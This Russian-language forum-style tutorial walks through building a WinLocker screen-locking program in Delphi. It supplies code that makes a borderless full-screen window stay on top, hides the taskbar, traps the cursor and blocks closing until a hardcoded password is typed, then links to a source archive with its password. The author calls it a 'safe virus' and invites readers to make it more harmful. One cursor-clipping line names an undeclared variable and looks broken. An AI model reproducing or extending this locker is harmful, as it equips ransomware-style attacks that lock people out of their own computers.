Данная статья для тех, кто уже работал в среде Delphi, и знает, что, куды, чаво и как. Сразу хочу предупредить. Эту статью и WinLocker я писал ИСКЛЮЧИТЕЛЬНО САМ!!!!! Здесь копипаста точно нет. Однако, если Вы его найдёте, то скидываёте сайт. Я с радостью посмотрю, чем улучшить вирус! Приветствую всех. В данной статье речь пойдёт о том, как создать Winlocker на языке программирования Delphi. Сразу хочу предупредить, что данный вирус находится в безопасном состоянии, и не может нанести компьютеру реальный вред. И в этой статье я расскажу, как создать именно БЕЗОПАСНЫЙ вирус, который вы, конечно, можете превратить и во что-то более интересное Все действия я буду проводить в среде программирования Delphi Embarcadero. Итак, преступим. открываем Delphi, создаём новый проект, и начинаем кодить Наживаем F12 для того, чтобы перейти в код программы. Для начала, проверяем, что у нас находится в группе uses. Я советую заменить всё то вот на это: На это: Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Registry, Vcl.ExtCtrls, Shellapi; 3. Снова нажимаем F12, закидываем на форму Кидаем: 12 TButton'ов, 1 TEdit и 3 TLabel'а, чтобы получилось вот так: 4. Сохраняем проект в папку, Делаем всё как на скриншоте выше. Т.е Называем 10 кнопок цифрами от 0 до 9, называем одну кнопку 'Разблокировать', выставляем рядом с TEdit. Можете написать в лабэлы всё, что хотите. 5. Приступаем к самому вкусному—коду. Под словом переменные (Var) пишем вот это: Спойлер H: THandle; w: integer; rec:TRect; Потом по очереди даблкликаем на кнопки с цифрами, и пишем в коде кнопок Пишем... Edit1.text := Edit1.text + 'ЦЫФРА_КОТОРАЯ_НА_КНОПКЕ'; Так делаем со всеми кнопками, на которых цифры. Сейчас нас интересует та кнопка, на которой нет цифры и будет отвечать за проверку пароля. Снова даблкликаем на неё, и в её коде пишем вот такую штуку: Это: if Edit1.text = '9985' then // проверка пароля. Если введён пароль 9985, то Begin w := 1; //отключение 'замка' для программы H := FindWindow('Shell_TrayWnd', Nil); // показ панели задач ShowWindow(H, SW_SHOWNORMAL); Close; // закрытие программы End; if Edit1.text <> '9985' then Label3.Caption:='пароль неверен'; ВНИМАНИЕ. ИМЕННО В ЭТОЙ процедуре задаётся пароль для разблокировки. В данном случае, пароль 9985. Для изменения пароля замените 9985 на свой пароль Написали? Отлично. Дальше. Переходим к форме программы(Где ещё кнопки). Тыкаем на СВОБОДНОЕ место на форме. Слева будет меню 'Object Inspector'. Тыкаем на вкладку 'Events', в левой колонке ищем функцию 'OnActivate', в правой колонке, напротив функции тыкаем на свободное место, и в коде процедуры пишем Пишем... rec.Left:=form1.Left; // Rec.Right:=form1.Left+Form1.Width; // Rec.Top:=Form1.Top; // Запрет выхода указателя Rec.Bottom:=Form1.Height+Form1.Top; // за границы экрана ClipCursor(Rec_inactive231987); // with Form1 do begin BorderStyle:= bsNone; SetBounds(0, 0, Screen.Width, Screen.Height); end; Написали? Отлично. Дальше. Переходим к форме программы(Где ещё кнопки). Тыкаем на СВОБОДНОЕ место на форме. Слева будет меню 'Object Inspector'. Тыкаем на вкладку 'Events', в левой колонке ищем функцию 'OnCloseQuery', в правой колонке, напротив функции тыкаем на свободное место, и в коде процедуры пишем Пишем это: CanClose:=false; // запрет закрытия программы обычными средствами if w=1 then // если 'Замок' отключён CanClose:=true; // разрешение закрытие программы Написали? Отлично. Дальше. Переходим к форме программы(Где ещё кнопки). Тыкаем на СВОБОДНОЕ место на форме. Слева будет меню 'Object Inspector'. Тыкаем на вкладку 'Events', в левой колонке ищем функцию 'OnCreate', в правой колонке, напротив функции тыкаем на свободное место, и в коде процедуры пишем Это: FormStyle := fsStayOnTop; // отображение вируса поверх других программ H := FindWindow('Shell_TrayWnd', Nil); // ShowWindow(H, SW_HIDE); // скрытие панели задач w:=0; //установка 'замка' Вот и всё. Вы написали свой винлокер. Для того, чтобы открыть код, вам нужно запустить файл 'Project1_10.dproj'. Готовый exe будет в папке '\Debug\Win32' Ниже будет ссылочка на ЯД, где вы сможете скачать исходник винлокера. Вот ссылка на яндекс диск Ссылка на ЯД https://yadi.sk/d/blqQ7XixmN6Elw ПАРОЛЬ ОТ АРХИВА Пароль от архива—'POCTEXHAD3OP'
Данная тема написана ИСКЛЮЧИТЕЛЬНО в образовательных целях. Я не несу ответственности за чьи-то подорванные пердаки и сломанные компутеры